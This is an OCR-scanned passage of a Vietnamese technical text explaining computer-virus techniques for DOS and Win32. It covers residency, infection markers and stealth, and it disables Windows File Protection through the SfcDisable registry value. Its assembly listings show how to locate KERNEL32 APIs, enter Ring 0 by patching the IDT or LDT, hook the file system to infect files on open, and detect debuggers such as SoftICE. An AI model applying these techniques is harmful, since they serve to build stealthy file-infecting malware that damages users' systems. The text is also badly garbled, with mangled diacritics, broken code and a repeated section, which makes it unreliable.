virus Boot.

Mot cong nghé thudng trd khic han véi nhimg cong
nghé trén la cong nghé thudng trd sau khi th1 hanh
chuong trinh chi. Cong nghé¢ nay cho phép chuong trinh
virus thudng trid 0 mot MCB trung gian, gidng nhur cong
nghé thudng trd ving nhd thap.

Diém mau chét clia cong nghé nay la thi hanh chuong
trinh chi (trén dia) mot lan nira, sau khi da phan phdi lai
viing nhd can thiét cho chuong trinh virus. Sau khi thi
hanh xong, quyén diéu khién lai dugc trao cho virus vi
hic nay, virus méi tién hanh thudng tri nhu mét chuong
trinh binh thudng bing ciach sir dung ham 031h ngit
021h. Pé chuong trinh virus khéng bi Idp lai nhiéu lan
virus tién hanh kiém tra su tén tai trén viung nhé trude
khi got thi hanh chuong trinh cha.

5. Cong nghé kiém tra s ton tai.

Ciing nhu virus Boot, virus phdi kiém tra su tén tai
trén bd nhd va trén file. Cac cong nghé di duoge virus
Boot sir dung van duge ding, v6i nhimg thay thé phir hop
vét cdc thao tdc trén file va moi truong DOS.

- Kiém tra trén bo nhé (chi dat ra véi nhiing virus
thudng tra).
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Céc virus it kha sir dung phuong phéap do tim doan mi
nhu virus Boot ma thudng sir dung phuong phap tao thém
ham/ngit dich vu.

- Kiénr tra trén file.

Virus sir dung nhimg cong nghé sau dé kiém tra:

+ Do tim doan mi nhan dang trén file:

Virus s& kiém tra doan mi nhan dang tai mot vi tri
xdc dinh trén file hodc trén toan b file, néu khong thdy
doan ma, coi nhu file d6 chua bi 1ay nhiém. Phuong phip
nay duge sir dung kha phé bién.

+ Kiém tra theo kich thudc:

So sanh kich thuéc file v6i do léch giira kich thuéde
file va diém vao (dét véi file .EXE) hoic offset sau lénh
nhay dau chuong trinh (file .COM). Néu khong bang
nhau, cot nhu file dé chua bi lay nhiém.

+ Kiém tra theo nhin thdi gian cua file: -

Virus kiém (ra nhén thdi gian véi nhimg gid tri dac
bi¢t (vi du nhu thdng bang 13 hay giay bang 62) dugc dat
cho méi file sau khi lay nhiém. Néu khong diing, coi nhu
file d6 chua bi lay nhiém.

Nhing phuong phdp khéc duge sir dung hau hét duoc
stra d61, cai tién 1ir ba phuong phép trén.

6. Cong nghé nguy tranyg.
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- Nguy trang trén b nhé (v61 nhimg virus thudng
ra).

Nhitng virus thuong trd vang nhd trén dé bi phdt hién,
do d6 virus da phat (rién cdc cong nghé thudng trd viing
nhd 1hip, thudng trd wrén UMB hoiac HMA dé khac phuc
diém yéu nay.

- Nguy trang trén file.

Khong nhu MB/BR it dwge ngudi s& dung quan tam.
cde file duge quan sdt, kiém tra thudng xuyén, moi thay
doi vé kich thudce, npay thiang, noi dung dé bi nhan thiy.
Vi vay nguy trang la mot cong nghé song con doi véi
virus file. Mot virus dugc col la nguy trang 16t néu dam
bao khi kiém tra, khong phat hién thay nhimg thay déi
trén file. Céc cong nghé cu thé duge st dung:

+ X ly viee 1ang kich thude file:

Chi sr dung véi nhimng virus Jam tang kich thude file
khi lay nhiém. Kich thude file ma cic chuong winh cé
duge, dua 1én cdc thong tin thu duge khi st dung cic
ham dich vu nhu:

* Cdac ham dich vu tim kiém - ham 011h/012h (cac
ham FCB) va ham 04Eh, 04Fh (cic ham Handle) ngz"il
021h.

* Cac ham dat con 110 file 042h/043h ngat 02 1h.
Kich thudce file thudng 1a mot gid tr1 LongInt (4 byte),

cong nghé chinh 14 chan ngat 021h ctia DOS va giam gid
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tri ndy mot khoang bing kich thudc virus khi thi hanh véi
mot file da bi lay nhiém.

+ Xit ly viéc thay d6i ngay thang/thude tinh.

Céng nghé nay chi don gidn 1a bao luu nhan thai gian
va thudc tinh cta file khi lay nhiém nhu di phan tich &
phan trén.

+ Xir Iy vige thay déi noi dung file.

Virus ¢6 thé sir dung mét phuong phdp, ¢6 tén
DisInfect On the Fly: mai khi ¢6 yéu cdu mé mot file da
bi lay nhiém dé doc, virus s& tu loai bd khoi file. Khi
dong file hay thi hanh file, virus s& tién hanh lay nhiém
lai 14n nita. '

7. Cong nghé Anti-Buit.

La cong ngh¢ twong déi don gidn va it duoc ding, chi
yéu dua trén tinh chat ciia cdc file dang Bait. Virus chon
loc file chtl dua trén mot s6 tigu chi sau:

- Trong tén khéng ¢6 cac chir s& (thuong ding dé
dénh s0 cdc file Bait).

- €6 kich thudce tuong déi 1on.

- C6 ma lénh khong qud dac biét, ching han ¢6 céic
lénh NOP & ddu chuong trinh.

Nhimg file khong thoa man tiéu chi d6 khong bj lay
nhiém, do dé trinh ducc nhiing file bdy ciia chuong trinh
antivirus.
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Virus ¢6 thé sit dung mot phuong phdp, cé tén
DisInfect On the Fly: mdi khi ¢é yéu cdu m& mot file da
bi lay nhiém dé doc, virus sé tu loai bd khot file. Khi
dong file hay thi hanh file, virus s& tién hanh lay nhiém
lai lan nifa.

7. Céng nghé Anti-Buair.

La cong ngh¢ tuong d6i don gian va it dugc ding, cha
yéu dua trén tinh chat cia cdc file dang Bait. Virus chon
loc file cha dwa trén mot s6 tiéu chi sau:

- Trong tén khong c6 cic chir s6 (thudng ding dé
danh sé céc file Bait).

- C4 kich thudce tuong doi 16n.

- C6 ma lénh khong qua dac biét, ching han c6 céc
Iénh NOP & ddu chuong trinh.

Nhimg file khong thoa man tiéu chi d6 khéng bi lay
nhiém, do d¢ tranh dugc nhimg file bay cia chuong trinh
antivirus.

8. Cdc cong nghé tao vé boc, md hod, da hinh, bién hinh,
chéng mo phdng, céng nghé dwong him, céng nghé anti-
tunnel va cong nghé 161 tu.

St dung cdc phuong phdp twong tu nhu virus Boot di
phan tich & phan trén.

3.3 Cac virus file trén moi truwong Windows.
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Phan nay s€ phan tich cong nghé cua cdc virus file
hoat dong trén moi trudng WIN32, bao gom Windows95,
Windows98, WindowsNT, Windows 3.x + Win32.

3.3.1. D6 hieonyg Iay nhiém va méi trudmg hoat déng.

Moi truong thay déi hdu hét so véi méi trudng DOS,
nhit [A & mot s6 thay thé co ban: cidc API thay thé cho
cdc ngit, xudt phdt tir sy thay thé cdc thanh ghi 16 bit va
offset thanh 32 bit.

- Nhiing thay déi giita cong nghé lap trinh 16 bit va
32 bit:

Lam viéc v61 cic tr kép (DWord) thay vi cic tir
(Word), ciling ¢6 thém hai thanh ghi doan FS va GS, bé
sung cho 4 thanh ghi doan CS, DS, ES, SS. Chiing ta ciing
¢6 thé sit dung céc thanh ghi 32 bit méi: EAX, EBX,
ECX, EDX, ESI, EDI., EBP va ESP.

- Céc vong (Rings):

La mot co ché bao vé Windows sir dung, & day chi
néu nhimg diém chinh yéu. Bo vi xir Iy ¢6 4 mic dac
quyén Ring O, Ring 1, Ring 2 va Ring 3. Cic virus
thudng chi quan tdm dén mitc 3 va mic 0.

+ Ring 3 con goi 1a mitc ngudi st dung, trong dé ¢é
rat nhiéu han ch& dgi vdi cdc chuong trinh.

+ Ring O hoan toan khdc véi Ring 3, trong dé
Windows luu gilr phdn ma 1énh hat nhan cha né. Nhimg
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chuong trinh ti€n hanh & muc nay khéng bi han ché nhu
& mite ngudi str dung.

Mot s6 thong tin cong nghé co ban:

+ Selector: La mot doan rat I6n, va la dang cla bo
nhd dudi Win32, con duoe goi 1a viing nhd phing (Flat
Memory). Chuong trinh ¢6 thé truy nhap truce tiép 16i 4
GB bo nhé, bang cach sir dung dia chi offset 32 bit. So
do don gian cha t6 chifc b nhd:

+ Cau triic cdc file thi hanh tren Windows:

Windows cé cic dang file thi hanh riéng, ¢6 thé chi
fa mot s& dang sau: NE {NewExecutable), LE (Linear
Exccutable), PE (Portable Executable), VxD (Virtual
Driver). Chi tiét vé cau tric cia timg loai file, xem tai
}iéu tham khao.

3.3.2 Phdn tich cdc cong nghé ciia virus file tién
Windows.

1. Céng nghé liv nhiém.

Str dung cdc cong nghé nhu virus file trén moi trudng
DOS da duge phan tich & wrén.

C6 mot s6 cong nghé dic biét, ddi phé véi nhimg co
ché bio v¢ chia h¢ diéu hanh méi. Vi du co ché bio vé
cla Windows 2000:

Windows 2000 sir dung mot co ché bao v&, ngan chén
su thay the hay sira déi cac file duoc bao vé goi la
SystemFileProtect (SFP). Néu mot virus file lay nhiém
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trén mot may tinh sit dung Windows 2000, mot hop thoai
s& xudt hién va thong bao:

“A  file replacement was attempted on the
protected system file <file name>». To maintam
system stability, the file has been restored - to the
correct Microsoft version. If problems occur with your
application, please contact the application vendor for
support.” '

Windows 2000 luu gilt mét danh siach cic file he
thdng dugc bao vé va sé huy bo bat cif sy thay thay the
hay stra d8i trong khi thong bdo trén duge hién thi.

Hé théng bao vé nay c6 thé bi loai bo, bang cach thay
thé mot khod trong registry ctiia mdy tinh, lvu gilf céu
hinh cua hé thdng bao vé:

HKEY_LOCAL_MACHINE

\SOFTWAREWMicrosoft\Windows
NT\CurrentVersiom\Winlogon

SfcBugcheck

SfcDisable

SfcQuota

SfcScan

Virus ¢6 thé sta gid tri khod SfcDisable thanh TRUE
(01), va & ldn khd déng sau, hé thong bao vé s€ bi vo
hiéu hoa. Tuy nhién, hé diéu hanh lai thong bdo vdi
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ngudi ding vé viée SFP bi vo hiéu hod, va trong phién
lam vi¢c sau dé, he théng sé cho phép SFP hoat dong trd
fai. C6 thé sir dung mot gia tri khac (04) thay cho 01, khi
do. Windows 2000 s& khong thong bdo vé su thay doi
ch¢ do bao vé nhung van cho phép SFP hoat dong trd lai
trong phién lam viéc sau.

Mot giai phdp tam thdi co thé sir dung 1a khong lay
nhieém céc file duoe Windows 2000 bao vé. Sir dung ham
APT SfclsFileProtected, ta ¢6 thé xdc dinh mot file ¢c6
dudc hé dicu hanh bao vé hay khong:

if { SfelsFileProtected( NULL., szFileName) == 0)

{
printi { "File khong duge bdo vén") ;
}

clse

{

printf (" File dugc bao vé\n") ;

)
2. Cong nghé kiém tra siw1on tai.

- Kiém tra trén bo nhé (d6i v6i nhitng virus thudng
tra):

Van sir dung cac phuong phap nhur virus file trén moi
trutsng DOS, ngoai ra ¢6 mot s6 virus sir dung cac cong



nght¢ dac biét khong thong dung. Vi du nhu CIH sir dung
thanh ghi g& réi Cr3 dé kiém tra su 16n tai trén bo nhd.

Nhimg cong nghé dung lai ciing duge thiét ké dé lam
viée vii mé hinh t6 chirc bd nhé méi.

- Kiém tra trén file:

Van st dung céc phuong phap nhu virus file trén moi
truong DOS.

3. Cong nghé s dung Structured Exception Handling
(SEH ).

Win32 chay trong ché doé bao vé (PM), trong dé cdc
trang bd nhd cd thudc tinh riéng, vi du nhe thude tinh
cho phép doc, cho phép ghi... vi m6i khi mot chuong
trinh thuc hién mét tac v vugt qué thudc tinh cua trang,
mot 160 Exception s€ xudt hién va khung SEH ciia hé
di¢u hanh s& duge sir dung. Thi tuc niy s& thong bdo 16i
di xay ra va cung cdp mot s8 thong tin phuc vu cho viéc
g8 rol churong trinh nhu dia chi IP? cha lénh gay ra 16i.

Con tro t6i SHE dugce luu tai dia chi FS:0000 méi khi
mot chuong trinh bit dau, va cdc chuong trinh cé thé
hudng con tro SEH chi dén tha tuc xtr Iy 18i riéng, vi du:

gay 1o1)

Jmp restoreSEH

ExceptionHandler: ; Xt ly 161
mov csp, [esp+8] : Khoi phuc ESP
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restoreSEH:
pop fs:[0]

add esp. 4 LEA
PUSH

PUSH

MOV

: Khoi phuc SEH ci

EAX, MyHandler

EAX
FS:[0000]

FS:[0000], [ESP}

Lic nay trong ngéin xép:
ESP - 0004: Offset MyHandler
ESP - 0000: Offset OldHandler
Mot vi du sir dung SEH:

pushad ; Luu tat o cic thanh ghi

lea cax, ExceptionHandler : Lay dia chi tha wc
noi tai

push eax ; Dt thd tye SEH cua chuong trinh

push fs:[0] ; Liu dia chi tha tuc cii

mov {5:[0], esp
chuong trinh

(Céc iénh c6 thé

popad

; Cho phép st dung thit tuc cla

4. Cong nghé dinh vi.
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Van sir dung cdc phuo ng phap nhu virus file trén moi
truomg DOS, chuyén tir viéc sir dung cdc thanh ghi va ché
do dia chi 16 bit sang 32 bit.

5. Cényg nghé thuong tru.

Nhur di phan tich & trén, mot virus cé_thé thi hanh &
muc ngudi sir dung (Ring 3) hay mic hé théng (Ring 0),
cdc cong nghé thudng trd cling chia thanh hai phan:
thudng trit ¢ muc ngudi sir dung va thudng tri & mitc hé
thong.

- Thudng tri & muc ngudi st dung:

Ring 3 bi han ch€ va ngan cdm ti€n hanh nhiéu tic
vy, tuy nhién thi€t k& virus trén Ring 3 s& c6 kha nang
tuong thich véi nhiéu moi trudng Win32 nhu Windows
95/98, Windows NT.

Tru6e hét dé c6 thé sir dung cdc API co s& ma hé diéu
hanh cung cép, virus phai tim duge dia chi co sd cta thu
vien KERNEL32.

+Cong nghé tim dia chi co 56 cia KERNEL32.

Khi thi hanh mét ¢ng dung, ma 1énh cia chuong trinh
phai dwge goi tir mot phdn nao dé trong ma lénh cla
KERNEL32. Do d6, khi 1énh CALL duoc goi, dia chi trd
vé (offset clia 1énh 1i€p theo), s& duge ddy vao ngan xép,
dé 1ay duoc dia chi nay cé thé sir dung cong nghé don
gian nhu trong chuong trinh sau:

.586p
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.model flat

.data

db ?

.code

start:

mov  eax,[esp]; EAX chita diachi tud ¢
(BFF8XXXXh v&i Win9x)

: - dia chi mot diém nao d6 trong mi 1énh cha
; API CreateProcess

ret : Tré vé

end start

Bay gio, tir dia chi thu dugc trong EAX, ¢é theé tién
hanh tim kiém PE.Header & dau céc trang, va khi tim
dugc PE Header cia KERNEL32, chiing ta biét duge dia
chi co sG cta nd. Xem vi du dudi day:

586p

.model  flat

extrn ExitProcess:PROC

.data
limit equ

db O
.code
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test:

call delta
delta:
pop ebp
sub cbp,offset delia
mov est,[esp]
and esi,0FFFFO000h
call GetK32
push 00000000h
call ExitProcess
GetK32:

I:

cmp  byte ptr [ebp+K32_Limit],00h

jz WeFailed
cmp  word ptr [esi],"ZM" ; ExeHeader?
jz CheckPE

2:

sub  esi, 10000h
dec  byte ptr [ebp+K32_Limit]
jmp __1

90



CheckPE:

mov edt,[es1+3Ch]

add edi,esi

cmp dword ptr [edi],"EP": PE Header?

jz WeGotK32

jmp 2
WeFailed:

mov ¢s1,0BFF70000h
WeGotK32:

xchg eax,esi

ret
K32_Limit dw {imit
end © test

Mot diém can chi ¥ khi sir dung cong nghé nay: nén
sir dung SEH d€ tranh 16i Page Faults 6 thé xdy ra khi
truy nhép ving nhé hé théng.

+ Tim dia chi cha ciac API can thiét:

Neu sir dung nhitng dia chi API dinh trudc, cé thé sé
gdy 16i d6i véi nhiing phién ban hé diéu hanh khéic nhau,
khi dia chi nay thay déi. Giai phdp 12 sir dung méot ham
co tén GetProcAddress, ham nay tra lai dia chi offset clia
cdc ham API duge yéu cau.
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Ham GetProcAddress cling 1a mot AP vi vay trudc
hét phai tim duge dia chi clia API nay. C6 thé sir dung
cic phuong phép sau:

* Tim ham API GetProcAddress trong bang Exports.

* Khi lay nhiém mét file, fim ham AP
GetProcAddress trong cic ham duoc nhap.

Phén nay chi phan tich phuong phap thir nhat:

Trudce hét, tai offset 78 trong PE Header, 14 RVA cha
bang Exports. Cdn phai tim dia chi xu4t cia KERNEL.
V&i Windows 95/98, dé la offset OBFF70000h, trong
Windows NT 1a 077F00000h va trong Windows 2000 1a
077E00000h. Ki€m tra cdc tr tai cc dia chi nay, so sdnh
vol “MZ” hay “ZM”, boi vi KERNEL la mot the vién
(.DLL) do dé né ciing ¢6 phdn DOS Stub nhim tuong
thich v6i DOS. Néu ding, tiép tuc so sénh tai offset 03Ch
vai “PENOND™ dé kiém tra nhan dang file PE.

Néu céc phép kiém tra déu diing, ta da c6 dia chi co
s& cha KERNEL. Nhu vay ldy RVA ciia bang Export
ndm & offset 078h, cong véi dia chi co s& ciia KERNEL,
ta ¢6 duge dia chi offset cla bang Export. Cau tric cla
bang Export nhu sau:

Export Flags 1 DWORD
Time/Date stamp I WORD
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Export Flags | 1 DWORD

Time/Date stamp 1 WORD
Major Version 1 WORD
Minor Version i. 1 DWORD
1\iame RVA i DWORD

Num of  Exported 1 DWORD
Functions :

Num of Exported Name 1 DWORD

Export Adress Table 1 DWORD
RVA

Export Name Pointers ] DWORD
Table RVA

Export Ordinals RVA I DWORD
Téng cong 024h byte

S4u trudng cudi cling chita nhitng thong tin can thiét,
chud v 12 Adress Table RVA, Name Pointers Table RVA,
Export Ordinals RV A lién hé wong d6i véi dia chi co s&
cua KERNEL.

Tiép tuc tim ki€m qua dia chi Name Pointers Table
RVA, s0 sanh cdc chubi kv tur v6i tén APl ma ta cn, cu
thé 12 GetProcAddress. Sau mét s6 n lan kiém tra, ta im
duge chudi ky tu chitatén API, bay gi¢, 1dy n nhan véi 2
va cong vdi dia chi bat ddu cia bang Ordinals (do bang
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nay la mot mang cdc tir - WORD) va ta 14y duge s6 tha
tr ctiia APL Cudi cling ta ¢é duoc dia chi ciia API tir bang
Address: nhan s6 thit tr API v6i 4 (bdng dia chi 1a mot
mang cdc tir kép - DWORD) va cong véi dia chi bat dau
cha Adress Table. Bay gidy ta da c6 duge dia chi RVA
cta APl can tim, cong thém véi dia chi co s& cha
KERNEL3?2 ta & duoc dia chi cia APL

Véi cong nghé trén, virus ¢6 thé 14y duce dia chi cha
cdc ham API cdn thiét, cdc API thudng sir dung la:

Tén API Chire ning
CreateFileA MG file dé doc/ghi.
CreatcFileMappi Tac viung 4nh xa cha mot
ngA file dd mo
MapViewQfFile anh xa mot file
CloseHandle Poéng mot file
UnMapViewOfFi Théi d4nh xa moét file
le

- Thudng trd & e hé théng:

Cé thé dua ra cdc budc dé tién hanh thudng trd &
Ring O nhir sau;

a. Kiém tra hé diéu hanh: Néu 1a Windows NT, dimg
lai va tra quyén diéu khién cho chwong trinh chi.
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b. Chuyén t6i Ring O (phan tich duéi day).
¢. Thi hanh ngét, chita doan ma virus.

ca. Phan phdi viing nhé dé thudng tri. (phan phéi
cac trang trén Heap).

cb. Chuyén chuong trinh virus lén viing nhé mdi.
cc. Chan FileSystem va luu thu tuc xir 1y ci.

cca. Péau thh tuc xir 1, Iuu tat ca cdc thanh ghi va
diéu chinh ESP.

cch. Luu cic tham so.

cce. Kiém tra xem c6 phai yéu cdu md file? Néu
khong, chuyén dén ccc.

ccd. Néu ding, chuyén tén file sang dang
ASCIIZ.

cce. Kiém tra file cAn m& c¢é phai file .EXE
khong?

ccf. Mé file, kiém tra va tién hanh lay nhiém.
ccg. Goi thu tuc xir 1y cil.
cch. Dé tdt ca cac tham sé tra vé trong ESP.
ccl. Tra vé
cd. Tra vé

d. Dat lai vector ngat cil.

e. Tra quyén diéu khién cho chuong trinh chu.

Sau day 12 phan tich cu thé cic budc:
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+ Kiém tra h¢ diéu hanh:

Cong nghé thuong tri trén Ring 0 khong thé thuc
hién trén Windows NT, vi vay, phai tién hanh ki€m tra hé
diéu hanh dang chay va trd quyén diéu khién vé cho
chuong trinh chil néu hé diéu hanh khong phai Windows
9x, ¢6 hai phuong phép thudng duoc ding:

* Cong nghé sir dung SEH:

* Cong nghé kiém tra gid tri ciia thanh ghi doan lénh
CS:

Trén Windows NT, thanh ghi CS luon luén nhé hon
0100h, va trong Windows 95/98 luén ludn 16n hon. Nhu
vay viéc kiém tra tuong d6i dé dang. Vi du:

mov ecx, c$
Xor cl, cl
Jecxz returntohost

+ Chuyén 11 Ring 0:

Cong nghé¢ nay dugc mo ta & phin sau.

+ Tiép theo, hi¢n gid chuong trinh dang & Ring 0.

Tai Ring 0, cdc dich vu VxD duge sir dung, thay thé
cho cdc API, chi tiét vé cdc haim VxD va sir dung chiing,
xem tai ligu tham khao.

+ Phan phéi bo nhé d€ thuong tri:
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Su dung dich vu [IFSMgr_GetHeap d¢ phan phai mot
ving nhd (cling ¢6 thé sir dung cdc dich vu khic, nhung
dich vu nay thudng duge dung do don gian). Ci phip
trong C:

PVOID IFSMgr_GetHeap(DWORD HeapSize);

Néu sir dung Asscmbly:

VxDCall IFSMgr_GetHeap

Pau vio: TOS - Kich thudc cén thiel.

Baura: EAX - Dia chi cta viing nhd (EAX=0 néu
161).

Vidu:

PUSHAD

PUSH YirusSize + 1024 ; Kich thuse virus
+ vung dém

VxDCall IFSMar_GetHeap

POY ECX

Can phai stt dung f¢nh POP ECX vi cdc dich vu
Vx D khong diéu chinh ngan x¢ép. Tiep tuc kiém tra:

OR ECX, ECX
AV BackToRing3: Loi, trd v¢ Ring 3

Sau khi dd phan phoi vi chuyén chuong trinh virus

len vung nhd, can chan chuoi thu tue xur 1y FileSystem.

+ Chan FileSystem:
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Chan cac dich va vér he thong file, st dung dich vu
IESMpr_tnstalllileSysiemHook. Cd phap trong C:

ppll-Stilel ook Fune
HSNier InstaliTileSystemApiliook(

plESEiellookFune HookProc):

New st dung Assembly:

Dau vier TOS - Dia chi cda thi tue xit iy mai.

Priarvie EAX - Chi 161 mot bién chia dia chi cua
thu we xir by el

Vi du:

leaeexJedi+New_Handler] ; (Dia chi co s& +
Handler Ofis)

push eCx

@@2:

VxDCall 1I'SMgr_InstallFileSystemApiHook : Goi
dich vu

pop  ecx ; Biéu chinh ngan xép
mov dword pir {edi+Old_Handler], eax

BackToRing3:
popad
iretd ; Tré vé Ring-3.

++ Tha tuc x {¥:
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Buoc thi¢t k€ nhu mot thi tye xir 1y FileSystem thong
thudng, khai bao ham wong C:

FileSystemApiHookFunction(
plI'SFunc FSDFnAddr.,

int FunctionNum,

int Drive,

int ResourceFlags,

int CodePage,

ploreq pir

)

Chi tiét vé thiél k& tha tuc xi 1y, xem tai licu tham
khao.

6. Cong nghé chuyén dén Ring 0.

Mot chuong trinh tng dung ¢6 thé sir dung cdc cong
ngh¢ sau dé chuyén tir Ring 3 dén Ring 0:

- Chuyén dén Ring 0 bing nhimg phuong phép khéng
hop 1¢:

+ Thay ddéi bang mé ta ngat (IDT - Interrupt
Decniptor Table):

IDT khong luu dmét vi i xac dinh, vi vay phdi st
dung cdc 1énh SIDT/LIDT dé ldy/dar IDT. Lénh SIDT
dest s& dat vao dest mot FWORD (WORD:DWORD)
offset chi'dén IDT. Khi bi€t dia chi IDT, ¢6 thé thay doi
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cac vector ngdt, va dat ching huéng dén ma [énh cha

virus. Sau dé, 1ién hanh goi ngat da bi chian. Poan mi sau
minh hoa cdng nghée nay:

586p
.model flat
exirn ExitProcess:PROC
extrn MessageBoxA:PROC
Interrupt EQU 01h
.data
szTitle  db "Ring-0 example”,0
szMessage db  "Hi! I’'m from Ring 0!",0
.code
start:
push edx
sidt {esp-2] ; C#t dia chi IDT vao ngan xép
pop  edx
add  edx,(Interrupt*R)+4 Dia chi vector ngiit
mov  ebx,[edx]
mov  bx,word ptr [edx-4] ;
lea  ediInterruptHandler
mov  f{edx-4],dj

ror edi,16 ; Chuyén MSW tsi LSW
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mov  [edx+2].di

push ds : Luu DS, ES

push es

int  Interrupt : Chuyén dén Ring-0
pop - es

pop ds

mov  [edx-4],bx : Tra lai vector ngat ci
ror  c¢bx,16
mov  [edx+2].bx
back2host:
push 00000000h ; Kiéu MessageBox
push offset szTitle ; Tiéu dé MessageBox
push offsel szMessage  ; Thong diép
push  00000000h ; NULL
call MessageBoxA ; Go1 ham API
push  G0000000h
call  ExitProcess
ret
I[nterruptHandler:
pushad
; Ma lénh virus
popad
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iretd

end start

+ Thay d6i bang mé 14 cuc bo hodc bang mé ta toan
cuc (LDT - Local Descriptor Table hoic GDT - Global
Descriptor Table). Cong nghé trong tu nhu phuong phap
st dung IDT. dudi day [a mét vi du st dung LDT:

.386P

LOCALS

JUMPS

MODEL FLAT. STDCALL
EXTRN ExitProcess : PROC

.data

GDTR
IDTR

CallPtr
1ién{8) va

dw
quyén

OurGate
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df o ; Luu noi dung thanh ghi
dd  00h :; Sir dung descriptor ddu
OFh  : dinh vi c0a né tai LDT va mic dac

: 1a 3, selector s& bang 000Fh.

; Bai vi hai bit low-order clia

2 selector 14 muie dac quyén, va bit thir 3
: duoe dat néu selector nim & LDT.

dw 0O : Offset low-order word



dw
dw
dw
eode
Start:
niov
N0V
shr
MOV
Xor
sadt
mov
Address
sldt

add
descriptor

mov
mov
shi

mov

add

(128h c Seginent selector
OLCO0L
0 - Oftset high-order word

cax, offset RineOProc
[CQurGatel. ax  Pat offset word
cax. 10 Saao descriptor
[OurGate+61, ax

cax, cax

fword ptr GDTR

chx. dword ptr [GIYTR+2] - nap GDT Base

ax

¢hx, cax Pia chr oena LDT
: lrong chx

al, febx+4]
ah, [ebx+7]

: Nap dia chi co so
Coua LI v
cax, 16 T CHN
ax. [ebx+2]

cax, & : Bo qua NULL Descriptor
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mov  edl, eax

mov - esi, offset OurGate

movsd : Chuyén céng goi
movsd :vao LDT

call  fword ptr [CallPtr] ; Goi tha tuc tat Ring 0
XOr  eax, cax ; Xod LDT

sub  edi. 8

stosd

stosd

call  ExitProcess, LARGE -1

RingGProc PROC

mov  ¢ax. CRO
ret[

RingOProc ENDP

end Start

Chu v 1a cde cong nghe nay khong thi hinh duoc trén
ma1 trudng Windows NT.

- Tao mét trinh diéu khién thiet b1 VxD, ¢6 thé durgc
nap linh déng hoac duge nap mo1 khi Windows khoi
dong. Cic VxID ndy dugce xay dung binh thudng ciing
nhw cic VD ma chuong trinh ting dung thiét k&. Chi tiét
cong ngh¢ xem tai licu tham khio.
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- Néu khong mudn sit dung mét VxD riéng, ¢6 thé st
dung cic VxD khac dd duoc nap, qua ham APl VxDCall.
APT nay cho phép khai thédc rat nhiéu VxD ciia hé thong
da dugce nap.

7. Cong nghé tim kiém file déi niomyg.

Tuong wr nhu virus file trén moi trudong DOS, ¢6 hai
cong nghé tim kiém file dai tuong.

- D41 véi cdce virus thudng tri:

Cong nghé chiém ngat dudi DOS duge thay thé béi
mot loat cac cong nghé d€ tién hanh kiém sodt cdc tac vu
trén file. Méi khi phdt hién céc tac vu nay. virus sé tién
hanh kiém tra dé lay nhiém. Cong nghé chi (iét, xem
phin phan tich cong nghé thudng tri virus file twén
Windows.

- DB6i véi cdce virus khong thudng tri:

Tién hanh cic thao tic tim ki€m trén thu muc dua
trén cac ham API (Ring 3) hay trén cdc dich vu duoc cic
VxD cua hé thong cung cip (Ring 0).

8. Cong nghé tao do gidp.

- Chéng dich ngutoe:

Ciing sir dung céc phuong phdp nhu da phan tich
virus file trén DOS, nhitng thay ddi phuc vu cho phit hop
véi dac diém cla moi truong Windows: sir dung céc
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thanh ghi 32 bit vit thay 1hé cdc ngdt bang cdc APl va
dich vu VxD.

- Chong ¢4 roi:

Dudi day la mot <6 cong nghé nham bao vé chuang
trmh virus chong lai cdc chuwong trinh g& r6i (bao gém ca
miic chuong trinh ting dung va mic hé thong).

+ Phdc hién cdc chuong trinh gd r6i bang cdch su
dung ham API IsDebuggerPresent (khong ¢6 trong
Windows 95).

ITam API nay chi phat hién cdc chuong trinh gd 161 &
miic chuong trinh tng dung vi du nhu TD32,

Cua phap: BOOL IsDebuggerPreseni(VOID)

Gid tri tra vé:

Neéu tién trinh hién tai dang chay trong pham vi mét
chuong trinh g0 roi. gid 1 tra vé s& khic 0, nguoc lai gia
tri nay s€ bang 0.

+ Mot cong ngh¢ khde 1 sir dung gid tri tai dia chi
FS:{020h] (pham vi g& réi - DebugContext) khi chuong
trinh duoc thi hanh dé kieém tra, néu gia tri nay khéc 0,
chuong trinh dang bi 96 réi. Vi du:

MOV ECX, FS:[020h]

JECXZ, NOT_BEING_DEBUGGER

[....] <- - Tién hanh céng nghé khi bi ¢&
o1 - >
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+ Dimg cac chuong trinh g& r6i mdc tng dung bing
cdch sir dung SEH.

+ Phat hién SOFTICE (chuong trinh g3 réi).

SOFTICE thudng dugc dung dé¢ gd rdi cac chuong
trinh trén Windows, cling nhu cdc chuong trinh virus.

* Cong nghé th nhit: Sir dung khi virus dang ¢ Ring

Cong nghé nay st dung dich vu Get_DDB cua Virtual
Machine Manager, chi tiét vé dich vu:

MOV EAX, Device_ID
MOV EDI, Device_Name
INT 20h

DD 00010146h

MOV [DDB]. EAX

Device 1D cua SoftICE VxD da dugc ding ky co
dinh v6i Microsoft va bing 00000202h, vi vay 6 thé vict
doan ma phat hién nhu sau:

MOV EAX. 00000202h
VxD_CALL VMM_Get_DDB
XCHG EAX, ECX

JECXZ NotSoftICE

IMP DetectedSoftICE

* Cong nghé thu hai;
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St dung ham dich vu 01684h, ngat 02Fh. nhur mo ta
dudi day:

Input: AX=01684h

BX=DevicelD
ES:DI = 0000:0000

Output:  ES:DI chi dén diém vio APl cha VxD,
hoac 0:0 néu VxD khong hé tro mét API nao.

* Cong nghé thit ba:

Str dung API CreateFile véi:

Windows 9x: ““\\.SICE”
Windows NT: “\NTICE”

N¢éu API khong tra vé 16i -1
(INVALID_HANDLE_VALUE), thi SoftICE dang hoat
déng. '

9. Cong nghé nyguy trang.

Sir dung cdc cong nghé nrong (v virus file trén DOS
vé ¥ tuong, nhung ¢6 thay déi vé chi tiét cong nghé phi
hop v6i moi tudng Windows. Xem phan phan tich cong
nghé thudng (rd dé ¢6 thém thong tin chi tiét.

10. Cong nghé chéng mo phong.

Cai tién cdc cong nghé da duge sir dung trong virus
file trén DOS cho phit hop véi mai trudng méi. Ngoai ra
con st dung mot s6 cong nghé maéi:
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- Slr dung SEH dé gay 16i cho qui trinh mé phong.

- Sir dung Thread dé che ddu virus khong bt chuong
trinh mé phong theo doi.

11. Cong nghé dudng ham.

Cong nghé nay bao gém viéc tim duge dia chi cla
API chuan (Ring 3) hay dia chi cba dich vu VxD chuén
(Ring 0). Cong nghé nay chu yéu dua trén thao tac tim
ki€m trén chudi cdc thu tuc x4 1y dich vu.

Dich vu IFSMgr_InstallFileSystemHook con tra vé
nhitng tham s& khong duge Microsoft cong bo. Sau khi
hoan thanh ham thong tin tra vé nhu sau:

EAX + 00h: Dia chi cta thi tyc xir 1y trudc do.
EAX + 04h: Dia chi cua mot cau triic HooklInfo.

C4u tric HookInfo dugc té chifc nhu sau:

